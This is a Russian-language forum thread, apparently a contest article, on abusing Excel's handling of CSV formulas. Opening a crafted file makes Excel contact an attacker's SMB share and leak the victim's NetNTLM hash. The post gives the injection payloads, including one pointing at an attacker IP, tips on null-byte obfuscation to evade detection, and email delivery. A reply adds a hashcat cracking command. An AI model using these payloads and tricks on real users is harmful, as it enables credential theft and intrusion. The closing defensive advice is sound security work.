LIMB
Вход Регистрация

тема

Все еще опасный CSV

petr petrov · · 6 ответов · 984 просмотров

Всем привет! Поделюсь с вами «уязвимостью», обнаруженной мной не так давно. Забегая в перед, скажу, что Майкрософт со мной не был солидарен, CVE не присвоил, устранять по всей видимости не собирается.
​
Я думаю, каждый из вас пользовался Excel для открытия CSV-файлов, весьма удобно разбить текст по столбцам с разделителями и т.п. Представьте, что начиная с Excel 2007 и заканчивая Excel 365 при открытии скачанного CSV-файла из сети Интернет, или электронной почты или мессенджера ваш NetNTLM - хэш мог быть отправлен на сервер злоумышленнику и вы даже не заметите этого. Интересно? Тогда поехали…

Все наверно помнят атаки с использованием функции динамического обмена данными (DDE) в MS Office, в частности нас интересует Excel. Такие атаки можно было проводить на Excel 2007-2010, для более поздних версий Майкрософт закрыла эту брешь, но не до конца и из нее можно еще что-то выжать. 

Напомню один из вариантов атаки. Для демонстрации я использовал CSV-файл, указав в нем команду «-explorer|\windows\syswow64\notepad.exe!’». Для выполнения команд используются управляющие символы «-», «+», «=» и «@», окончание должно быть символами: обязательно «!» и следующим за ним символ, например «’». Файл открывал при помощи Excel 2007.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Давайте теперь запустим утилиту «Procmon» (Sysinternals Suite) и повторим атаку. Взаимодействовать с диалоговым окном «Извещение системы безопасности Microsoft Office Excel» не будем, а сразу перейдем в «Procmon» и посмотрим события.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Обратите внимание, Excel уже выполняет команду поиска указанного файла «\windows\syswow64\notepad.exe».
Попробуем изменить конструкцию. Отбросим первый аргумент и PIPE, а вместо существующего пути и файла укажем несуществующие.

Не удалось прогрузить медиа


Повторим эксперимент запустив Procmon и откроем наш CSV-файл в Excel 2016 .

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Как видим диалоговое окно безопасности не появляется, а Excel выполняет нашу команду и ищет несуществующий файл в несуществующей директории.

Отлично! Теперь создадим эксплойт. Я использовал бинарный формат забив его мусорными байтами и разместив в нем путь к SMB-шаре с несуществующим файлом – «-\\192.168.243.141\share\1.xlsx!'», сам путь я разбавил нулевыми байтами (Excel отбрасывает нулевые байты) для усложнения детектирования, также следует не забывать про значения переноса строки «0A» перед командой. Почему я выбрал такую подачу? На мой взгляд, при открытии в Excel такого файла пользователь будет думать, что –«Ерунда какая то, наверно битый» и сразу удалит его. Но, это просто мое мнение.

Не удалось прогрузить медиа


Теперь нужно поднять SMB-шару, а файл с эксплойтом разместить на ресурсе или отправить вложением адресату. На видео демонстрация эксплойта, используется Excel 365.

Не удалось прогрузить медиа

Методы защиты:

- установить в настройках безопасности «Всегда открывать ненадежные текстовые файлы (CSV, DIF и SYLK) в режиме защищенного просмотра», по умолчанию эта опция выключена.
Не удалось прогрузить медиа


- Просматривать CSV-файлы автоматизированными средствами на предмет наличия в файле символов «-», «+», «=», «@», «!» сконструировав для этого регулярные выражения.
👍87 🤔18 😢16 💯23
Хорошая действительно идея, мне нехватило описания импакта получения хэша, но я в винде не силен возможно это не нужно объяснять.
👍2
Ответm0nst3r

Хорошая действительно идея, мне нехватило описания импакта получения хэша, но я в винде не силен возможно это не нужно объяснять.

NetNTLMv2
​
Брутить конечно) 
Используй hashcat -m 5600 "hash" passwords.txt
👍2
ОтветGerostrat

​ NetNTLMv2 ​ Брутить конечно) Используй hashcat -m 5600 "hash" passwords.txt

а, ну логично, да
👍3
Отлично. Есть теория, практика, все как по условиям конкурса. Я поговорю с админом чтобы он разрешил писать 2-3 статьи одному участнику. Работ хороших должно быть больше.
👍1
ОтветGerostrat

​ NetNTLMv2 ​ Брутить конечно) Используй hashcat -m 5600 "hash" passwords.txt

Или релееить)
не понимаю где здесь эксплоит. похоже на релей уже давно известный. технику которого можно было описать гораздо короче. при чем черточки и какой-то эксплоит.бин..
либо меня пытаются обмануть либо автор .. скорее первое))
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.